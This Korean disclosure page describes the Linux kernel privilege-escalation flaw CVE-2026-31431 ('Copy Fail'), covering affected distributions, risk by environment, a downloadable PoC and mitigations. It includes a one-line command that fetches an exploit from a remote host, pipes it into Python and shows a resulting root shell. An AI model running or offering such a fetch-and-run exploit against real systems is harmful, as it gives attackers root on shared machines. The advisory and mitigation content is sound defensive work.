리눅스 커널 전역 권한 상승 취약점 (CVE-2026-31431)
2017년부터 패치 전까지 빌드된 거의 모든 리눅스 커널에 영향을 미치는 치명적인 로컬 권한 상승(LPE) 취약점입니다. 일반 사용자 권한만으로도 루트(Root) 권한을 획득할 수 있어 다중 테넌트 서버 및 클라우드 환경에 매우 심각한 위협을 줍니다. 해당 커널 보안 업데이트를 즉시 적용하거나, 패치 전에는 algif_aead 모듈을 비활성화하여 대응해야 합니다.
복사 실패 (Copy Fail) – CVE-2026-31431 악용 (Exploit) | 완화 (Mitigation) | 자주 묻는 질문 (FAQ) | 타임라인 | 문의
데모 단 하나의 스크립트로 4개의 배포판, 4개의 루트 셸을 한 번에 획득합니다. 동일한 익스플로잇 바이너리가 모든 리눅스 배포판에서 수정 없이 작동합니다. tmux — copy fail 라이브 데모 poc(exp) | sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 | 해당 트윗 ↗ 을 통해 처음 공개됨
영향을 받는 대상 2017년부터 패치가 적용되기 전까지 빌드된 커널을 사용 중이라면 영향을 받습니다. 이는 사실상 모든 주류 리눅스 배포판을 포함합니다. 이 취약점은 권한 없는 로컬 사용자 계정만 필요하며, 네트워크 접근, 커널 디버깅 기능 또는 사전 설치된 기본 요소가 필요하지 않습니다. 커널 암호화 API(AF_ALG)는 거의 모든 주류 배포판의 기본 설정에서 활성화되어 있으므로 2017년부터 패치 적용 전까지의 모든 기간이 기본적으로 취약점에 노출되어 있습니다.
직접 확인한 배포판: 배포판: Ubuntu 24.04 LTS | 커널: 6.17.0-1007-aws 배포판: Amazon Linux 2023 | 커널: 6.18.8-9.213.amzn2023 배포판: RHEL 14.3 | 커널: 6.12.0-124.45.1.el10_1 배포판: SUSE 16 | 커널: 6.12.0-160000.9-default
이것들은 우리가 직접 테스트한 것입니다. 영향을 받는 커널을 실행하는 다른 배포판(Debian, Arch, Fedora, Rocky, Alma, Oracle, 임베디드 환경 등)에서도 동일하게 작동합니다.
패치를 먼저 해야 합니까?
[위험도: 높음] 다중 테넌트 리눅스 호스트 공유 개발 머신, 셸 서비스(Shell-as-a-service), 점프 호스트, 빌드 서버 등 여러 사용자가 커널을 공유하는 모든 환경. -> 모든 사용자가 루트가 될 수 있음
[위험도: 높음] 쿠버네티스(Kubernetes) / 컨테이너 클러스터 페이지 캐시(Page Cache)는 호스트 전체에서 공유됩니다. 올바른 기본 요소를 갖춘 파드(Pod)는 노드를 손상시키고 테넌트 경계를 넘어설 수 있습니다. -> 컨테이너 간, 테넌트 간 침투 가능
[위험도: 높음] CI 러너 및 빌드 팜 GitHub Actions 셀프 호스티드 러너, GitLab 러너, Jenkins 에이전트 등 공유 커널에서 일반 사용자로 신뢰할 수 없는 PR 코드를 실행하는 모든 환경. -> PR이 러너에서 루트 권한을 획득함
[위험도: 높음] 사용자 코드를 실행하는 클라우드 SaaS 노트북 호스팅, 에이전트 샌드박스, 서버리스 기능, 사용자가 제공한 컨테이너나 스크립트를 실행하는 모든 환경. -> 테넌트가 호스트의 루트 권한을 획득함
[위험도: 중간] 표준 리눅스 서버 팀원만 셸 접근 권한을 가진 단일 테넌트 프로덕션 환경. -> 내부 로컬 권한 상승(LPE); 웹 RCE 또는 탈취된 자격 증명과 연계 가능
[위험도: 낮음] 단일 사용자 랩톱 및 워크스테이션 이미 유일한 사용자입니다. 이 버그 자체로는 원격 공격자에게 접근 권한을 부여하지 않지만, 모든 로컬 코드 실행이 루트 권한으로 전환됩니다. -> 익스플로잇 이후 권한 상승 단계
익스플로잇 (Exploit) PoC(개념 증명)는 수비수가 자신의 시스템을 확인하고 공급업체 패치를 검증할 수 있도록 공개됩니다. 책임감 있게 사용하십시오. 자신이 소유하거나 테스트할 서면 권한이 있는 시스템에서만 실행하십시오. 스크립트는 setuid 바이너리의 페이지 캐시를 편집하며, 이 변경은 재부팅 후에도 유지되지 않지만 결과적으로 얻어지는 루트 셸은 실제입니다. 프로덕션 환경에서는 실행하지 마십시오.
copy_fail_exp.py (732 B) 독립형 PoC. Python 3.10+ 표준 라이브러리만 사용(os, socket, zlib). 기본적으로 /usr/bin/su를 대상으로 함; 다른 setuid 바이너리를 argv[1]로 전달 가능. sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 다운로드 (GitHub)
verify.sh (~1 KB) 파괴적이지 않은 확인 도구. algif_aead를 로드할 수 있는지, 그리고 커널의 authencesn에 여전히 스크래치 쓰기 경로(scratch-write path)가 있는지 감지합니다. 권한을 상승시키지 않습니다. sha256: — 다운로드 (GitHub)
빠른 실행: $ curl https://copy.fail/exp | python3 && su
id
uid=0(root) gid=1002(user) groups=1002(user)
이슈 트래커: https://github.com/theori-io/copy-fail-CVE-2026-31431
완화 (Mitigation) 패치를 최우선으로 하십시오. 배포판의 커널 패키지를 메인라인 커밋 a664bf3d603d가 포함된 버전으로 업데이트하십시오. 이 커밋은 2017년의 algif_aead 인플레이스(in-place) 최적화를 되돌려서 페이지 캐시 페이지가 더 이상 쓰기 가능한 대상 분산 목록(scatterlist)에 들어가지 않도록 합니다. 대부분의 주요 배포판은 현재 이 수정 사항을 배포하고 있습니다.
패치하기 전에 임시 조치를 취하려면: algif_aead 모듈을 비활성화하십시오.
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
이렇게 하면 무엇이 중단되나요? 대다수의 시스템에서는 측정할 수 있는 영향이 없습니다(문제 없이 작동). dm-crypt / LUKS, kTLS, IPsec/XFRM, 커널 내 TLS, OpenSSL/GnuTLS/NSS 기본 빌드, SSH, 커널 키링(Keyring) 암호화에는 영향을 주지 않습니다.